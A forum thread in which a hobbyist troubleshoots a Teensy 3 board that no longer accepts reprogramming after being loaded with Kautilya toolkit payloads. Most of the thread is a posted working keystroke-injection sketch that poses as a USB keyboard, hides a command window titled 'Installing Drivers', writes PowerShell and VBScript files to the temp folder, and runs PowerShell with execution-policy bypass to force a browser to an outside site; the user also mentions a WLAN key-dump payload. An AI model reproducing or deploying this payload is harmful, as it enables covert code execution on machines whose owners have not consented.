Can't reprogram my teensy 3

Status
Not open for further replies.

bribas

Member
I just received my teensy, I used my mac to program it a few time. I 1st tested changing the delay to blink the led faster; Success. I wanted to play around with the kautilya toolkit, so programmed the teensy with the forcebrowse payload to load my site. Plugged it in to a windows 7 pc and it worked. Problem was the programmed delay took to long and the browser was hidden so I updated the code and reprogramed the teensy. Plugged it back in to a windows 7 PC and it worked, loaded my site. I then go to try and reprogram it with the WLAN keys dump payload but I can't get the teensy to program. I tried rebooting the mac, holding the pushbutton while plugging in the teensy, basically everything on here: http://www.pjrc.com/teensy/troubleshoot.html. I setup the Arduino environment on the windows 7 pc to try and reprogram it with blink but I cant get it to reprogram on windows too. It still works with the programed code but after I hit the pushbutton the loader does not see it.



any suggestions?
 
Can you post a copy of the code. I'll try it on a Teensy3 here.

It is the standard Arduino blink:
Code:
/*
  Blink
  Turns on an LED on for one second, then off for one second, repeatedly.
 
  This example code is in the public domain.
 */
 
// Pin 13 has an LED connected on most Arduino boards.
// Pin 11 has the LED on Teensy 2.0
// Pin 6  has the LED on Teensy++ 2.0
// Pin 13 has the LED on Teensy 3.0
// give it a name:
int led = 13;

// the setup routine runs once when you press reset:
void setup() {                
  // initialize the digital pin as an output.
  pinMode(led, OUTPUT);     
}

// the loop routine runs over and over again forever:
void loop() {
  digitalWrite(led, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(1000);               // wait for a second
  digitalWrite(led, LOW);    // turn the LED off by making the voltage LOW
  delay(1000);               // wait for a second
}


It seems to be an issue related to the HalfKay bootloader. I finally got the blink code to upload it only let me upload that one time (randomly after many restarts, unplugs, driver reinstalls and button presses. I am still not sure what to do or why it allowed it to upload again but only once.
 
I tried a new USB cable and a new windows 7 pc and I still can't get the loader to recognize the teensy after hitting the button.
 
Last edited:
Can you verify you're running Teensy Loader 1.0.7? Look in the Help > About menu. Earlier versions lack support for Teensy 3.0.
 
It is the standard Arduino blink:

No, not the code you're trying to now upload to your non-responding board.

I need the code that (maybe) caused the board to become non-responsive. Can you post *that* code, so I try loading it onto a board here? I can try a .hex file on a board here, but I have a LOT of stuff on my to-do list, so if you could send me the actual file Kautilya produced, that would really help. I really don't have time to fiddle with Kautilya, especially if that means setting up a Windows machine.
 
No, not the code you're trying to now upload to your non-responding board.

I need the code that (maybe) caused the board to become non-responsive. Can you post *that* code, so I try loading it onto a board here? I can try a .hex file on a board here, but I have a LOT of stuff on my to-do list, so if you could send me the actual file Kautilya produced, that would really help. I really don't have time to fiddle with Kautilya, especially if that means setting up a Windows machine.


I checked the loader on both my mac and windows and they are both 1.0.7.


The code is below:

Code:
#include<usb_private.h>


void setup(){

  delay(30);
  wait_for_drivers(20);
  
  minimise_windows();
  delay(500);
  while(!cmd(3,500,"cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\""))
  {
  reset_windows_desktop(200);
  }
  
  Keyboard.println("echo $ie = new-object -comobject \"InternetExplorer.Application\" > %temp%\\browse.ps1");
  Keyboard.println("echo $ie.visible = $true >> %temp%\\browse.ps1");
  Keyboard.println("echo $ie.navigate(\"http://r1b4z01d.com\") >> %temp%\\browse.ps1");
  
   
  delay(20);
  
  Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\browse.vbs");
  Keyboard.println("echo oShell.Run(\"powershell.exe -ExecutionPolicy Bypass -noLogo -command %temp%\\browse.ps1\"),0,true >> %temp%\\browse.vbs");
  delay(300);
  Keyboard.println("wscript %temp%\\browse.vbs");
  delay(30);
  
  Keyboard.println("exit");

}

void loop(){
}

void wait_for_drivers(int sleep)
{
bool CapsLockTrap = is_caps_on();
while(CapsLockTrap == is_caps_on())
{
Keyboard.set_key1(KEY_CAPS_LOCK);
Keyboard.send_now();
delay(200);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
delay(sleep);
}
Keyboard.set_key1(KEY_CAPS_LOCK);
Keyboard.send_now();
delay(200);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
delay(sleep);
}

int ledkeys(void) {return int(keyboard_leds);}

bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}

bool cmd_admin(int reps, int millisecs)
{
make_sure_capslock_is_off();
delay(700);
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.send_now();
delay(3000);
Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"");
delay(2000);
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.send_now();
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
Keyboard.send_now();
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(200);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
delay(7000);
send_left_enter();
delay(4000);
create_click_capslock_win();
check_for_capslock_success_teensy(reps,millisecs);
}

bool cmd(int reps, int millisecs, char *SomeCommand)
{
make_sure_capslock_is_off();
delay(700);
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();

delay(500);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

Keyboard.print(SomeCommand);
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();

Keyboard.set_key1(0);
Keyboard.send_now();

delay(3000);
create_click_capslock_win();
check_for_capslock_success_teensy(reps,millisecs);
}

void make_sure_capslock_is_off(void)
{
if (is_caps_on())
{
delay(500);
Keyboard.set_key1(KEY_CAPS_LOCK);
Keyboard.send_now();
delay(200);
delay(700);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
delay(700);
}
}

void create_click_capslock_win()
{
Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{CAPSLOCK}\"' > %temp%\\capslock.vbs");
delay(400);
Keyboard.println("wscript %temp%\\capslock.vbs");
delay(2000);
}

bool check_for_capslock_success_teensy(int reps, int millisecs)
{
unsigned int i = 0;
do
{
delay(millisecs);
if (is_caps_on())
{
make_sure_capslock_is_off();
delay(700);
return true;
}
i++;
}
while (!is_caps_on() && (i<reps));
return false;
}

void minimise_windows(void)
{
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_M);
Keyboard.send_now();
delay(300);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
delay(300);
}

void reset_windows_desktop(int sleep)
{
delay(1000);
minimise_windows();
delay(sleep);
minimise_windows();
delay(sleep);
minimise_windows();
delay(200);
}

void send_left_enter(){
  delay(1000);
  Keyboard.set_key1(KEY_LEFT);
  Keyboard.send_now();
  delay(100);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  delay(100);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  }
 
Status
Not open for further replies.
Back
Top